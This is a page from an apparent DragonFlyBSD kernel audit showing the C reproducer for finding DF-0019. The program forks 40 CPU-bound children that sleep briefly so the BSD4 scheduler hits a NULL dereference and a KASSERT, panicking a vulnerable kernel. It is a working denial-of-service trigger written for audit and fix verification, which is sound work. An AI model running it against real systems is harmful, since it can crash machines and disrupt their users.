DragonFlyBSD Kernel Audit
DF-0019 / load.c
← back to finding ↓ download raw
/*
 * DF-0019 trigger — heavy workload to force bsd4_chooseproc_locked_cache_coherent
 * to run with a non-empty runqueue while queue_checks=0.
 *
 * Strategy: fork N children that do short sleeps + CPU spin. The sleeps force
 * them through acquire/release_curproc repeatedly while the runqueue is hot.
 * With queue_checks=0, the very first call to chooseproc_locked_cache_coherent
 * that finds ANY process on rt/ts/id queues will skip the while loop,
 * dereference min_level_lwp (NULL), and trip KASSERT at usched_bsd4.c:1548.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>
#include <string.h>

#define NKIDS 40

static volatile sig_atomic_t stop = 0;
static void handler(int s) { stop = 1; }

int main(void) {
    int i;
    pid_t kids[NKIDS];

    signal(SIGALRM, handler);
    fprintf(stderr, "[*] launcher: pid=%d, forking %d CPU-bound kids\n",
            (int)getpid(), NKIDS);

    for (i = 0; i < NKIDS; i++) {
        pid_t p = fork();
        if (p == 0) {
            /* child: tight CPU spin with occasional yield */
            alarm(20);
            while (!stop) {
                volatile unsigned long x = 0;
                for (volatile int j = 0; j < 100000; j++) x += j;
                /* short sleep to force acquire/release cycle */
                usleep(100);
            }
            _exit(0);
        }
        kids[i] = p;
    }

    /* parent also spins */
    alarm(15);
    while (!stop) {
        volatile unsigned long x = 0;
        for (volatile int j = 0; j < 1000000; j++) x += j;
    }

    fprintf(stderr, "[*] parent done spinning, reaping kids\n");
    for (i = 0; i < NKIDS; i++) {
        kill(kids[i], SIGTERM);
    }
    for (i = 0; i < NKIDS; i++) {
        int st;
        waitpid(kids[i], &st, 0);
    }
    fprintf(stderr, "[*] survived — no panic (FIXED kernel or path not hit). exit 0.\n");
    return 0;
}